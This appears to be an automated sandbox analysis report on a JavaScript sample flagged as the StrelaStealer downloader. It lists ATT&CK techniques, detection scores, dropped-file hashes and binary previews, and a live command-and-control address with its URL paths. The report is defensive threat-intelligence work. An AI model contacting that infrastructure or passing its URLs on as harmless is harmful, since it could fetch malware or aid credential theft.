Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4947276292772611217.js	7%	Virustotal		Browse
4947276292772611217.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/g_	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/spaceRQ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2700267277.0000018809200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1469795367.0000018808FC0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/spaceRQ	net.exe, 00000007.00000002.1470246799.0000011353108000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/g_	net.exe, 00000007.00000002.1470246799.0000011353108000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1468796555.000001135315F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1468886117.0000011353144000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1470440965.0000011353161000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1470246799.0000011353108000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1470440965.0000011353144000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588370
Start date and time:	2025-01-11 01:28:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4947276292772611217.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/54@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.22.41.97, 3.233.129.217, 52.6.155.20, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 2.16.100.168, 88.221.110.91, 172.202.163.200, 23.206.252.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:29:07	API Interceptor	23x Sleep call for process: powershell.exe modified
19:29:11	API Interceptor	1x Sleep call for process: net.exe modified
19:29:11	API Interceptor	2x Sleep call for process: svchost.exe modified
19:29:24	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
bg.microsoft.map.fastly.net	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	27374120242908411416.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7772104212868830459.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021590666262833
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAL:RJE+Lfki1GjHwU/+vVhWqpO
MD5:	C96EA02606621E21D5FACAE9F7D2FA2A
SHA1:	92F6DC3B8F91BFF668D22EF4ED8294236E2C3A58
SHA-256:	0BCB18A454BFF72F9B2E9258EC1F263FE3FAD7D53B0DC78DA2F0BC6DD55BA02A
SHA-512:	D6FAED9AD65637257F0251C4DE946541413188AA8E12B3EAA23DDA1A35C968BD43F9185CF3AC081BD5FB769485B2FE3BCAA4A3151ABD0E1BF75CECA1A55D1659
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x00919050, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432076363973404
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	55599D969440BAA44CA6AA2EC3E0922D
SHA1:	92D95CE724BB140BF2EF55577F5A363580181DAC
SHA-256:	B57A2A01BF640505D4951D4671E857FA8B411943070A66AFCCDBDB9D3C4512E0
SHA-512:	FB5AA5A856377188E22FF7DE200050DE4DA57C49755C09DD008B22D7E6C7F9D866C73216F1587C1165416CCAF6DE74632D4D3EA8A5B1A8EC0D0741F6B123803F
Malicious:	false
Preview:	...P... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................n.......}..................=!.......}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07865387794388844
Encrypted:	false
SSDEEP:	3:uS//KYeeogl/nqlFcl1ZUllllx04aZllGBnX/l/Tj/k7/t:ui/KzGl/qlFclQ/le254
MD5:	1673B9ABC6A7E14F6FDBC3F908A24AC9
SHA1:	61367723ED1F8E09F222CED3C5F5F63F537E3640
SHA-256:	F78260555142938E4F52E42E4E00CCCE1EB7574399B4CAA87487C36DBDE834F1
SHA-512:	CB5AB68D29F9A40F6279152999FC225349EA47B00E75C6688CF0DD8C4BD1EA74584C1710C3AE8408F5D0854BA32E86908507858AEF56E468D6B6BB6E919BFAA0
Malicious:	false
Preview:	.r.@.....................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s.................=!.......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.174727466795777
Encrypted:	false
SSDEEP:	6:iO4bxmmq2PCHhJ2nKuAl9OmbnIFUtSbxQZmwsbxYkwOCHhJ2nKuAl9OmbjLJ:74xmmvBHAahFUtaxQ/kxY56HAaSJ
MD5:	E9521011E588BE707613631C901543EA
SHA1:	6F8214BA8DF84AECE05011CE4C66B92B7BF19C6D
SHA-256:	CBC2D8E391264D92F30997C91DF232BCBD56BFFA54E5B3CD0FC337921E9392B6
SHA-512:	C743905EB2476C6E5EE64B576DF6C1DE9316103A15138E0F27A347F431ABB397E1618885C0DDADCBE53828063E1DA39D4ECFF62FECEB59277E8FA3981812EF70
Malicious:	false
Preview:	2025/01/10-19:29:11.654 f00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:29:11.656 f00 Recovering log #3.2025/01/10-19:29:11.656 f00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.174727466795777
Encrypted:	false
SSDEEP:	6:iO4bxmmq2PCHhJ2nKuAl9OmbnIFUtSbxQZmwsbxYkwOCHhJ2nKuAl9OmbjLJ:74xmmvBHAahFUtaxQ/kxY56HAaSJ
MD5:	E9521011E588BE707613631C901543EA
SHA1:	6F8214BA8DF84AECE05011CE4C66B92B7BF19C6D
SHA-256:	CBC2D8E391264D92F30997C91DF232BCBD56BFFA54E5B3CD0FC337921E9392B6
SHA-512:	C743905EB2476C6E5EE64B576DF6C1DE9316103A15138E0F27A347F431ABB397E1618885C0DDADCBE53828063E1DA39D4ECFF62FECEB59277E8FA3981812EF70
Malicious:	false
Preview:	2025/01/10-19:29:11.654 f00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:29:11.656 f00 Recovering log #3.2025/01/10-19:29:11.656 f00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.118122299646898
Encrypted:	false
SSDEEP:	6:iO4bxk54q2PCHhJ2nKuAl9Ombzo2jMGIFUtSbxquUN3JZmwsbxquUN3DkwOCHhJV:74xbvBHAa8uFUtaxqT/kxqJ56HAa8RJ
MD5:	AE06B7861EAD043DC3D8E001D42FBB1F
SHA1:	B4F63C4A3C26A4DB3BF89E1212CC050AF7862610
SHA-256:	CBAC4BE72794DFDAF5C280E6B57F52ACCBB7B2BEE05D4435FB85A7E2FDAD1E5F
SHA-512:	0C2A62FF6C1A67F899F7C8D371706877D697C0D091246BA3D125ED22868DB4376EBE6AB2ABD4F94B302FA4E5759BEC4FF5EEB82101B11E62C95BB340FD70B7D1
Malicious:	false
Preview:	2025/01/10-19:29:11.706 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:29:11.708 1100 Recovering log #3.2025/01/10-19:29:11.708 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.118122299646898
Encrypted:	false
SSDEEP:	6:iO4bxk54q2PCHhJ2nKuAl9Ombzo2jMGIFUtSbxquUN3JZmwsbxquUN3DkwOCHhJV:74xbvBHAa8uFUtaxqT/kxqJ56HAa8RJ
MD5:	AE06B7861EAD043DC3D8E001D42FBB1F
SHA1:	B4F63C4A3C26A4DB3BF89E1212CC050AF7862610
SHA-256:	CBAC4BE72794DFDAF5C280E6B57F52ACCBB7B2BEE05D4435FB85A7E2FDAD1E5F
SHA-512:	0C2A62FF6C1A67F899F7C8D371706877D697C0D091246BA3D125ED22868DB4376EBE6AB2ABD4F94B302FA4E5759BEC4FF5EEB82101B11E62C95BB340FD70B7D1
Malicious:	false
Preview:	2025/01/10-19:29:11.706 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:29:11.708 1100 Recovering log #3.2025/01/10-19:29:11.708 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\305c28cb-f18e-46dc-8979-1a0ca87f4858.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9578626600426565
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqaQsBdOg2Hscaq3QYiub6P7E4T3y:Y2sRdsrFdMHP3QYhbS7nby
MD5:	05FF917727F501B8EA8C23DEB91B7010
SHA1:	E9E22D59982D166476484EC4E2074FD56FE59869
SHA-256:	30E362A55546049A884584A2EB1B0A6BCDD8A284576525B4BEBDB64C488B11CB
SHA-512:	EB6DFB48E13D41935136169C875860B80AB73352F0D410628B78AA6E5320D851EC3C191EF986E7262CCE970EAAB2E3ED26FA16E7D5B40C11EFB306C116619DD9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381115364347278","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140818},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9578626600426565
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqaQsBdOg2Hscaq3QYiub6P7E4T3y:Y2sRdsrFdMHP3QYhbS7nby
MD5:	05FF917727F501B8EA8C23DEB91B7010
SHA1:	E9E22D59982D166476484EC4E2074FD56FE59869
SHA-256:	30E362A55546049A884584A2EB1B0A6BCDD8A284576525B4BEBDB64C488B11CB
SHA-512:	EB6DFB48E13D41935136169C875860B80AB73352F0D410628B78AA6E5320D851EC3C191EF986E7262CCE970EAAB2E3ED26FA16E7D5B40C11EFB306C116619DD9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381115364347278","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140818},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.241896952257438
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bJJw9S1K:S43C4mS7fFi0KFYDjr3LWO3V3aw+b3U7
MD5:	C8B9A06F5E848AEE59D4D28F8DE9E208
SHA1:	A9C7B96927A153B037548EC45FF36B5AF83FB65A
SHA-256:	3A6FFD0035422DB241196625D85B31D422598FDD2A287E4E46CA5350125CB11B
SHA-512:	88ACE4763B101515375DDDA3734A90C8126FF3D70600978AC1E1822EAF569E8B4C2D3BAFC0B928F54C3A5C5E8C1E8253933E2C4D4DE9C362373D51F7DFBD2AB9
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.140331415543078
Encrypted:	false
SSDEEP:	6:iO4b7Hv4q2PCHhJ2nKuAl9OmbzNMxIFUtSbI5JZmwsbzDkwOCHhJ2nKuAl9OmbzE:74jAvBHAa8jFUtaq/kn56HAa84J
MD5:	EFBE05AE9DDC3F0FD0047AA54D6D7B0F
SHA1:	67F9F344435D947A9D2678D958968C0E6FFD822B
SHA-256:	7559584BBDC555285CF2BA8DAD0572A70E94A18BF4E7CFCB818D9A043EA8E3BB
SHA-512:	996C033639B43EE4FDAA43FEBC78F37D9E37B0F5428C504506BAE089D1D1612747E3A0D8F26CF565AF6328E0992503499DDFAC324CAF77F58E9675E936F6CC87
Malicious:	false
Preview:	2025/01/10-19:29:12.265 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:29:12.277 1100 Recovering log #3.2025/01/10-19:29:12.287 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.140331415543078
Encrypted:	false
SSDEEP:	6:iO4b7Hv4q2PCHhJ2nKuAl9OmbzNMxIFUtSbI5JZmwsbzDkwOCHhJ2nKuAl9OmbzE:74jAvBHAa8jFUtaq/kn56HAa84J
MD5:	EFBE05AE9DDC3F0FD0047AA54D6D7B0F
SHA1:	67F9F344435D947A9D2678D958968C0E6FFD822B
SHA-256:	7559584BBDC555285CF2BA8DAD0572A70E94A18BF4E7CFCB818D9A043EA8E3BB
SHA-512:	996C033639B43EE4FDAA43FEBC78F37D9E37B0F5428C504506BAE089D1D1612747E3A0D8F26CF565AF6328E0992503499DDFAC324CAF77F58E9675E936F6CC87
Malicious:	false
Preview:	2025/01/10-19:29:12.265 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:29:12.277 1100 Recovering log #3.2025/01/10-19:29:12.287 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
